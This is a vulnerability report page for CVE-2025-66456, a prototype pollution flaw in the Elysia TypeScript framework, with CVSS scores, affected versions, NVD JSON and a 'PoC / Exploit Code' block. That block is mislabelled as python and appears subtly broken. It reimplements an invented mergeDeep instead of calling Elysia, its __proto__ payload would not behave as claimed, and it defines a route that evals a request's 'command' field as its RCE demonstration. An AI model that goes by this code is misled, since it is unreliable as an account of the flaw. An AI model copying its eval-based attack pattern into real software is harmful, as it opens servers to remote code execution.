Security Vulnerability Report
中文
CVE-2025-66456 CVSS 9.8 CRITICAL

CVE-2025-66456

Published: 2025-12-09 20:15:55
Last Modified: 2025-12-17 14:30:08

Description

Elysia is a Typescript framework for request validation, type inference, OpenAPI documentation and client-server communication. Versions 1.4.0 through 1.4.16 contain a prototype pollution vulnerability in `mergeDeep` after merging results of two standard schema validations with the same key. Due to the ordering of merging, there must be an any type that is set as a standalone guard, to allow for the `__proto__ prop` to be merged. When combined with GHSA-8vch-m3f4-q8jf this allows for a full RCE by an attacker. This issue is fixed in version 1.4.17. To workaround, remove the `__proto__ key` from body.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:elysiajs:elysia:*:*:*:*:*:node.js:*:* - VULNERABLE
Elysia >= 1.4.0 < 1.4.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-66456 Prototype Pollution PoC // Target: Elysia framework versions 1.4.0 - 1.4.16 const Elysia = require('elysia'); // Simulate vulnerable mergeDeep function behavior function mergeDeep(target, source) { for (const key in source) { if (source[key] === 'any' && key === 'guard') { // Vulnerable condition: allows __proto__ pollution target['__proto__'] = source['__proto__']; } if (typeof source[key] === 'object' && source[key] !== null) { target[key] = mergeDeep(target[key] || {}, source[key]); } else { target[key] = source[key]; } } return target; } // Malicious payload exploiting prototype pollution const maliciousPayload = { schema: { body: { type: 'object', properties: { data: { guard: 'any', __proto__: { isAdmin: true, constructor: { prototype: { eval: (code) => eval(code) } } } } } } } }; // Demonstrate pollution const target = {}; mergeDeep(target, maliciousPayload.schema.body.properties.data); console.log('Prototype polluted:', Object.prototype.isAdmin); // undefined in clean env // Combined with GHSA-8vch-m3f4-q8jf for RCE const e = new Elysia().post('/execute', ({ body }) => { // RCE via polluted prototype return eval(body.command); }, maliciousPayload);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66456", "sourceIdentifier": "[email protected]", "published": "2025-12-09T20:15:54.760", "lastModified": "2025-12-17T14:30:08.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Elysia is a Typescript framework for request validation, type inference, OpenAPI documentation and client-server communication. Versions 1.4.0 through 1.4.16 contain a prototype pollution vulnerability in `mergeDeep` after merging results of two standard schema validations with the same key. Due to the ordering of merging, there must be an any type that is set as a standalone guard, to allow for the `__proto__ prop` to be merged. When combined with GHSA-8vch-m3f4-q8jf this allows for a full RCE by an attacker. This issue is fixed in version 1.4.17. To workaround, remove the `__proto__ key` from body."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elysiajs:elysia:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.4.0", "versionEndExcluding": "1.4.17", "matchCriteriaId": "41035CD2-DE13-469A-984F-6BC1CCCF2695"}]}]}], "references": [{"url": "https://github.com/elysiajs/elysia/commit/26935bf76ebc43b4a43d48b173fc853de43bb51e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/elysiajs/elysia/commit/3af978663e437dccc6c1a2a3aff4b74e1574849e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/elysiajs/elysia/pull/1564", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/elysiajs/elysia/security/advisories/GHSA-8vch-m3f4-q8jf", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/elysiajs/elysia/security/advisories/GHSA-hxj9-33pp-j2cc", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/elysiajs/elysia/security/advisories/GHSA-8vch-m3f4-q8jf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Not Applicable"]}, {"url": "https://github.com/elysiajs/elysia/security/advisories/GHSA-hxj9-33pp-j2cc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}